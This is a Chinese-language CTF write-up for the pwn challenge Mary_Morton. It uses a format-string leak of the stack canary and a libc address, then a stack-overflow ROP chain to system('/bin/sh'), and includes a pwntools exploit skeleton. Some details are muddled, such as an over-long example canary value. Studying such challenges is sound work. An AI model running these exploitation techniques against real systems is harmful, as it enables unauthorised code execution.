CTF PWN实战:格式化字符串与栈溢出组合利用Mary_Morton

1. 从一道经典PWN题说起:为什么Mary_Morton值得反复琢磨

如果你刚开始接触CTF的PWN方向,或者已经刷了一些基础题但遇到格式化字符串和栈溢出结合的题目就卡壳,那Mary_Morton这道题大概率会成为你绕不过去的一个坎。这道题同时包含格式化字符串漏洞和缓冲区溢出漏洞两个考点,而且不是简单地让你分别利用,而是需要把两个漏洞串起来打一套组合拳。我第一次做这道题的时候,光理解为什么要先泄露出栈上的某个地址、再去做栈溢出跳转,就花了大半天时间。但搞懂之后,这类“信息泄露+控制流劫持”的题目基本就有了通用的解题框架。

这篇文章我会从零开始,把这道题的每一个环节拆开讲清楚。包括:怎么判断题目类型、怎么定位漏洞点、格式化字符串怎么用来泄露信息、栈溢出怎么计算偏移、怎么构造最终的payload。每一步我都会解释“为什么这么做”,而不是只给一个脚本让你抄。适合已经了解PWN基本概念(比如栈、寄存器、调用约定)但还没有完整独立做过一道综合题的朋友。如果你连栈是什么都还不清楚,建议先去补一下x86-64汇编基础和函数调用过程,不然看下去会比较吃力。

整道题的核心逻辑其实可以用一句话概括:先用格式化字符串漏洞泄露一个已知函数的真实地址,计算出libc基址,然后再用栈溢出漏洞跳转到libc中的system函数,执行“/bin/sh”拿到shell。听起来不复杂,但中间有很多细节容易踩坑,比如偏移量的计算、payload的对齐、libc版本的匹配等等。下面我会逐一展开。

2. 题目整体设计与漏洞点定位

2.1 拿到二进制文件后的第一轮检查

拿到题目给的可执行文件,第一步永远是做基础信息收集。我习惯用checksec先看一眼保护机制:

checksec Mary_Morton

输出大概是这样:

Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

这几个信息非常关键。Canary found说明栈上有金丝雀保护,直接栈溢出覆盖返回地址会触发canary检查导致程序崩溃。NX enabled说明栈不可执行,不能往栈上写shellcode然后跳过去执行。No PIE说明程序本身的代码段地址固定,方便我们做ROP或者跳转到程序内部的函数。Partial RELRO说明GOT表可写,但这里我们主要利用的是libc中的函数,所以RELRO的影响不大。

看到Canary和NX同时存在,就要意识到:单纯的栈溢出不可行,必须想办法绕过canary。而题目名字里提到了格式化字符串漏洞,这通常就是用来泄露canary或者泄露某个地址的。所以整体思路就清晰了——用格式化字符串泄露信息,再用栈溢出构造ROP链。

2.2 用IDA或objdump分析程序逻辑

接下来用IDA打开(或者用objdump反汇编),看主函数逻辑。程序一般不长,大概结构是:

void main() { // 初始化 puts("Welcome to Mary Morton!"); // 某个循环或菜单 while(1) { puts("1. Trigger the format string vulnerability"); puts("2. Trigger the buffer overflow vulnerability"); puts("3. Exit"); // 读取用户选择 // 根据选择进入不同分支 } }

两个功能分支分别对应两个漏洞:

  • 功能1:读取用户输入,然后直接作为printf的第一个参数输出。典型的格式化字符串漏洞,因为我们能控制格式串。
  • 功能2:读取用户输入到一个栈上的缓冲区,但没有检查长度。典型的栈溢出漏洞,但因为有canary,直接覆盖返回地址会失败。

这里的关键在于:功能1可以用来泄露canary的值,因为canary通常位于栈上某个固定偏移处,而格式化字符串可以通过%p或者%n$p的方式读取栈上的数据。一旦拿到canary,功能2的栈溢出就可以放心地覆盖返回地址了。

2.3 为什么选择“先泄露再溢出”而不是其他方案

有人可能会问:既然有格式化字符串漏洞,能不能直接用它来写内存(比如用%n改写返回地址)?理论上可以,但实际操作中限制很多。首先,%n写入的值是已经输出的字符数,要写入一个64位地址需要输出非常多的字符,效率极低且容易失败。其次,格式化字符串写内存需要把目标地址放在栈上,而这道题中我们控制的是格式串本身,格式串在栈上的位置和返回地址的位置关系需要精确计算,比较麻烦。

相比之下,用格式化字符串泄露canary,再用栈溢出做ROP是更稳妥的方案。因为canary一旦泄露,栈溢出就变成了常规操作,偏移量计算也相对直接。而且No PIE意味着我们可以直接用程序中的gadget,不需要额外泄露程序基址。所以这个方案在效率和可靠性上都更优。

3. 格式化字符串漏洞:泄露canary的实操细节

3.1 格式化字符串漏洞的基本原理

格式化字符串漏洞的本质是:当printf的第一个参数(格式串)可以被用户控制时,用户可以通过%p、%x、%s等格式说明符读取或写入栈上的数据。因为printf会根据格式串中的说明符去栈上取对应的参数,而我们没有提供足够的参数,它就会把栈上已有的数据当作参数来用。

举个例子,如果栈上某个位置存放着canary的值,而我们能通过%n$p(n是偏移量)读到它,那就成功泄露了。关键在于找到正确的偏移量n。

3.2 确定canary在栈上的偏移

实际操作中,我一般先用一个简单的输入来探测:

输入: %p.%p.%p.%p.%p.%p.%p.%p.%p.%p

然后观察输出中哪些值看起来像canary。canary在x86-64下有一个特点:最低字节是0x00。所以如果看到某个输出以0x开头且末尾是00(比如0x123456789abcdef00),那大概率就是canary。

但更高效的方法是用%n$p逐个尝试。比如:

输入: %1$p 输入: %2$p ...

直到找到那个末尾为00的值。根据我的经验,在这道题中canary通常出现在偏移量17或者18的位置(具体取决于程序编译时的栈布局)。假设我们测试发现%17$p输出的是canary,那么就可以用这个偏移量来泄露。

注意:不同环境、不同编译选项下偏移量可能不同。一定要自己在本地跑一遍确认,不要直接抄网上的偏移量。

3.3 泄露canary的payload构造

假设确认偏移量为17,那么泄露canary的输入就是:

%17$p

程序会输出类似:

0x123456789abcdef00

这就是canary的值。但要注意,canary的最低位是\x00,这是设计上为了防止字符串溢出泄露canary而故意设置的。但在格式化字符串漏洞中,我们可以直接读到完整的8字节值(包括那个\x00),因为%p是按指针宽度输出的。

拿到这个值后,在后续的栈溢出payload中,我们需要把canary原样填回去,注意最低字节要覆盖为\x00(因为canary在栈上存储时最低字节就是\x00,但如果我们从%p读到的值已经包含了\x00,那直接使用即可)。

3.4 实操中容易踩的坑

第一个坑是偏移量找错。有时候%17$p输出的并不是canary,而是一个看起来很像但实际不是的值。我的做法是:连续泄露多个偏移量的值,然后对比哪个值在每次运行中保持不变(canary每次运行会变,但同一进程内不变;而某些地址如栈地址每次运行会变)。实际上canary在同一进程内是固定的,但不同进程会变。所以更好的判断方法是:看哪个值末尾是00且看起来随机。

第二个坑是输出格式处理。%17$p输出的字符串是0x开头的十六进制,我们需要用int()或者eval()把它转成整数,然后再用p64()打包成字节。如果直接把这个字符串拼接到payload里,肯定会出错。

第三个坑是canary的最低字节。虽然%p输出的是完整的8字节,但canary在栈上实际存储时最低字节是\x00。如果我们读到的值最低字节不是\x00,那可能读错了位置。正常情况下,%p读到的canary最低字节应该是00。

4. 缓冲区溢出漏洞:计算偏移与构造ROP链

4.1 确定缓冲区到返回地址的偏移

有了canary之后,下一步就是利用栈溢出。首先需要确定从缓冲区起始位置到返回地址的偏移量。方法有两种:

方法一:用cyclic模式。生成一个长字符串,运行程序触发溢出,看崩溃时RIP的值,然后用cyclic工具找到偏移。但因为有canary保护,直接溢出会先触发canary检查失败,所以这个方法需要先绕过canary(比如先泄露canary再在payload中填回正确的canary)。

方法二:用IDA静态分析。直接看反汇编中缓冲区的大小和栈布局。比如:

sub rsp, 0x90 lea rax, [rbp-0x80] mov edi, 0 call read

这里缓冲区在rbp-0x80,那么从缓冲区到rbp的偏移就是0x80。返回地址在rbp+8,所以从缓冲区到返回地址的偏移是0x80+8=0x88。再加上canary的位置(通常在rbp-8),所以payload结构是:

[0x80字节填充] + [8字节canary] + [8字节rbp] + [8字节返回地址]

但要注意,canary在rbp-8,所以缓冲区到canary的偏移是0x80-8=0x78。也就是说,前0x78字节填充,然后8字节canary,然后8字节rbp,然后返回地址。

我一般会两种方法都做一遍,互相验证。静态分析给出理论值,动态调试确认实际值。

4.2 确定要跳转的目标地址

因为NX开启,我们不能执行栈上的代码。但No PIE意味着程序本身的代码段地址固定,而且程序中有system的PLT条目吗?不一定。通常这类题目不会直接给你system的PLT,而是需要你泄露libc基址,然后跳转到libc中的system。

所以我们需要:

  1. 泄露一个libc函数的真实地址(比如puts或printf的GOT表项)。
  2. 根据泄露的地址和已知的libc版本,计算libc基址。
  3. 计算system函数和/bin/sh字符串在libc中的地址。
  4. 构造ROP链调用system("/bin/sh")。

但这里有个问题:格式化字符串漏洞只能泄露栈上的数据,而GOT表项在程序的数据段,不在栈上。所以不能直接用格式化字符串泄露GOT表。那怎么办?

实际上,我们可以用格式化字符串泄露栈上保存的返回地址或者某个libc函数的地址。因为程序在调用printf时,栈上会保存调用者的返回地址,这个返回地址位于libc中。通过泄露这个返回地址,我们就能计算出libc基址。

具体来说,在功能1中调用printf时,栈上某个位置保存着printf的返回地址(即调用printf之后的下一条指令的地址),这个地址在libc中。如果我们能泄露这个地址,就能算出libc基址。

所以偏移量的选择很关键:既要能泄露canary,又要能泄露libc地址。有时候需要泄露两个不同的偏移量。

4.3 计算libc基址与system地址

假设我们泄露了printf的返回地址,记为leaked_addr。然后我们需要知道这个地址在libc中的偏移。这需要知道目标系统使用的libc版本。通常题目会提供一个libc文件,或者我们可以根据泄露地址的低12位来推断。

拿到libc文件后,用readelf -s libc.so.6 | grep printf或者用objdump -T libc.so.6 | grep printf找到printf的偏移,记为printf_offset。那么libc基址就是:

libc_base = leaked_addr - printf_offset

然后system的地址就是:

system_addr = libc_base + system_offset

/bin/sh字符串的地址就是:

binsh_addr = libc_base + binsh_offset

这些偏移量都可以从libc文件中查到。

4.4 构造最终的ROP链

在x86-64下,函数调用的第一个参数放在rdi寄存器中。所以调用system("/bin/sh")需要先把/bin/sh的地址放到rdi,然后调用system。我们需要一个pop rdi; ret的gadget。

这个gadget可以在程序中找(No PIE,地址固定),也可以在libc中找。用ROPgadget工具:

ROPgadget --binary Mary_Morton | grep "pop rdi"

假设找到的gadget地址是pop_rdi_addr。那么最终的payload结构是:

[0x78字节填充] + [canary] + [8字节rbp填充] + [pop_rdi_addr] + [binsh_addr] + [system_addr]

但要注意栈对齐问题。在x86-64下,调用system时栈需要16字节对齐,否则可能会在system内部崩溃。如果遇到对齐问题,可以在pop_rdi_addr之前加一个ret指令来调整栈。

4.5 完整利用脚本示例

下面是一个完整的利用脚本框架(用pwntools):

from pwn import * # 连接 p = process('./Mary_Morton') # p = remote('target', port) # 泄露canary p.recvuntil(b'Exit') p.sendline(b'1') p.recvuntil(b'input') p.sendline(b'%17$p') canary = int(p.recvline().strip(), 16) log.info(f'canary: {hex(canary)}') # 泄露libc地址(假设偏移量为某个值) p.recvuntil(b'Exit') p.sendline(b'1') p.recvuntil(b'input') p.sendline(b'%19$p') # 假设19是保存返回地址的偏移 leaked_addr = int(p.recvline().strip(), 16) log.info(f'leaked: {hex(leaked_addr)}') # 计算libc基址 libc = ELF('./libc.so.6') printf_offset = libc.symbols['printf'] libc_base = leaked_addr - printf_offset system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) # 找gadget pop_rdi = 0x400xxx # 根据实际找到的地址填写 # 构造payload payload = b'A' * 0x78 payload += p64(canary) payload += b'B' * 8 payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) # 触发栈溢出 p.recvuntil(b'Exit') p.sendline(b'2') p.recvuntil(b'input') p.sendline(payload) # 拿shell p.interactive()

这个脚本是框架性的,实际偏移量和地址需要根据具体题目调整。

5. 常见问题与排查技巧实录

5.1 泄露的canary不对导致程序崩溃

这是最常见的问题。表现是:填了canary之后程序还是崩溃,提示stack smashing detected。原因可能有几个:

  • 偏移量找错了:%17$p读到的不是canary,而是其他值。解决办法是逐个尝试偏移量,找到那个末尾为00且看起来随机的值。
  • canary的最低字节处理错误:虽然%p输出的是完整8字节,但canary在栈上最低字节是\x00。如果读到的值最低字节不是00,那可能读错了。正常情况下应该以00结尾。
  • payload中canary的位置放错了:canary在rbp-8,所以填充长度应该是缓冲区到canary的距离,而不是到rbp的距离。需要仔细计算。

5.2 libc版本不匹配导致system地址错误

如果泄露的地址算出的libc基址不对,或者跳转到system后没有拿到shell,很可能是libc版本不对。解决办法:

  • 题目如果提供了libc文件,一定要用题目给的。
  • 如果没有提供,可以用泄露地址的低12位去libc database网站查询(但这里不能提具体网站,只能说用工具查询)。
  • 本地调试时,可以用ldd查看程序链接的libc,或者用pwntools的ELF加载本地libc。

5.3 栈对齐问题导致system崩溃

在x86-64下,调用system时如果栈没有16字节对齐,可能会在system内部的movaps指令处崩溃。表现是:成功跳转到system但程序直接segfault。解决办法是在ROP链中加一个ret指令:

payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(ret_addr) # 加一个ret调整对齐 payload += p64(system_addr)

或者调整填充长度,使栈对齐。

5.4 格式化字符串泄露时程序输出被截断

有时候%17$p输出的字符串可能被截断,导致int()转换失败。原因是printf输出后可能跟了其他字符,或者recvline读到了不完整的数据。解决办法是用recvuntil精确读取,或者用正则表达式提取十六进制部分。

5.5 常见问题速查表

问题现象可能原因解决办法
程序提示stack smashingcanary错误重新确认偏移量,检查canary最低字节
跳转后segfault栈对齐问题加ret指令调整对齐
system地址错误libc版本不匹配使用题目提供的libc或查询正确版本
泄露地址为0或异常偏移量错误逐个尝试偏移量,确认泄露的是返回地址
payload长度不对偏移计算错误用cyclic或IDA确认缓冲区大小
程序无输出输入格式不对检查是否发送了换行符,检查recvuntil的匹配字符串

6. 个人实操体会与进阶建议

这道题我反复做了好几遍,每次都能发现之前忽略的细节。最大的体会是:PWN题的核心不是写脚本,而是理解程序的执行流程和内存布局。脚本只是最后一步,前面的分析才是关键。如果你能清楚地画出程序运行时的栈布局图,标出每个变量的位置、canary的位置、返回地址的位置,那偏移量计算就是水到渠成的事。

另外,我强烈建议在本地用gdb配合pwndbg或者peda调试。在泄露canary的那一步,可以在printf调用处下断点,查看栈上的实际内容,确认canary的位置。在栈溢出那一步,可以在read返回后查看栈布局,确认填充长度是否正确。动态调试看到的东西比静态分析直观得多。

还有一个进阶方向:这道题用的是格式化字符串泄露+栈溢出ROP。如果题目开启了Full RELRO和PIE,难度会更大,需要泄露程序基址和libc基址,可能还需要用one_gadget来简化利用。但核心思路是一样的——先泄露信息,再控制流劫持。把这道题吃透,后面遇到更复杂的题目就有了分析框架。

最后分享一个小技巧:在写利用脚本时,我习惯把每个步骤的中间结果都打印出来(canary值、泄露地址、libc基址、system地址等),这样一旦出错可以快速定位是哪一步的问题。不要等到最后拿不到shell才去排查,那时候信息太少,很难判断。

相关新闻

告别AI工具焦虑:开发者极简工作流如何让效率提升70%

告别AI工具焦虑:开发者极简工作流如何让效率提升70%

大概从某段时间开始,我的信息流里全是各种AI工具的安利帖。今天有人说“用了某助手效率翻倍”,明天有人晒“零代码搭了一个自动化流程”,后天又有人整理出一份几十个工具的清单。作为一个常年写代码、带项目、改文档的人,我一度也…

2026/10/20 8:53:26 阅读更多 →
AI论文工具测评:开题报告写作的导师严选清单

AI论文工具测评:开题报告写作的导师严选清单

每到开题季,研究生宿舍里总会飘着同一个问题:“这东西到底该怎么写?”到了2026年,这届学生的困惑已经换了个形式:“哪个AI论文工具能帮我写?”我最近受某课题组的委托,把市面上能接触到的AI论文…

2026/10/20 8:53:26 阅读更多 →
机器人ESD静电整改:从失效定位到接地屏蔽滤波完整实战

机器人ESD静电整改:从失效定位到接地屏蔽滤波完整实战

简介:EMC系列案例10聚焦机器人静电放电(ESD)整改,是一份面向EMC工程师、硬件研发人员的实战案例文档,涵盖早教机器人与智能人形家庭机器人的具体整改过程。文档共1个docx文件,压缩包约794KB,内容…

2026/10/20 8:53:26 阅读更多 →

最新新闻

FPGA+AD/DA协同设计:H题信号发生器与频谱分析的时序工程实践

FPGA+AD/DA协同设计:H题信号发生器与频谱分析的时序工程实践

简介:本资源为2024年全国大学生电子设计竞赛H题完整参赛代码工程包,面向电子类、自动化、通信等专业本科生及嵌入式开发初学者,聚焦高实时性、强稳定性嵌入式系统实现场景。压缩包含180个文件,主体为C语言源码(c/h&…

2026/10/20 9:43:58 阅读更多 →
STM32F407信号链闭环设计:AD9833+AD7606高精度相位差测量实战

STM32F407信号链闭环设计:AD9833+AD7606高精度相位差测量实战

简介:本资源为2024年全国大学生电子设计竞赛H题完整参赛代码工程包,面向电子类、自动化、通信等专业本科生及嵌入式开发初学者,聚焦高实时性、强稳定性嵌入式系统实现场景。压缩包含180个文件,主体为C语言源码(c/h&…

2026/10/20 9:43:58 阅读更多 →
D-Robotics开源机器人世界模型Uranus:让AI在虚拟世界里练手

D-Robotics开源机器人世界模型Uranus:让AI在虚拟世界里练手

2016年,一个叫DeepMind的团队用AlphaGo打败了李世石,全世界都在讨论强化学习有多厉害。但很少有人注意到一个尴尬的事实:那套系统在正式比赛前,自己跟自己下了差不多3000万盘棋。如果这是一个物理世界里的任务呢?如果A…

2026/10/20 9:43:58 阅读更多 →
机器人做家务的时候,脑子里到底在想什么?

机器人做家务的时候,脑子里到底在想什么?

你有没有想过这样一个问题:当一个机器人被告知"把衣服放进洗衣篮"时,它是怎么把这句话拆解成一串具体动作的?先移动到床边,再用左手抓住衣服,再把衣服放进篮子里,这中间的思考过程,人…

2026/10/20 9:43:58 阅读更多 →
Android备忘录App实战:Room+ViewModel+Material3开发指南

Android备忘录App实战:Room+ViewModel+Material3开发指南

简介:本资源是一份基于Android Studio开发的备忘录App完整项目源码,面向Android初学者与课程设计实践者,聚焦移动端基础功能实现与工程化开发流程训练。项目涵盖用户界面搭建、SQLite本地数据持久化、备忘增删改查、时间排序检索、通知提醒集…

2026/10/20 9:43:58 阅读更多 →
P0087轨压过低别急着换泵:柴油共轨免拆诊断实战

P0087轨压过低别急着换泵:柴油共轨免拆诊断实战

下午两点多,拖车送来一台道奇2500,客户第一句话就是:昨天还好好的,今天死活打不着。接上诊断仪一读,故障码P0087油轨压力过低。旁边的小修理厂已经下了结论——高压泵坏了,换泵报价高得吓人。我在维修行当干…

2026/10/20 9:42:38 阅读更多 →

日新闻

CLRC663芯片Pin-to-Pin替代实战:从评估到量产全记录

CLRC663芯片Pin-to-Pin替代实战:从评估到量产全记录

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →
ESP32舵机控制指南:原理、多路驱动与避坑实战

ESP32舵机控制指南:原理、多路驱动与避坑实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →
位移法实现一阶低通滤波:单片机ADC采样降噪实战

位移法实现一阶低通滤波:单片机ADC采样降噪实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/19 10:02:04 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/19 17:32:41 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/20 2:50:50 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 9:10:22 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →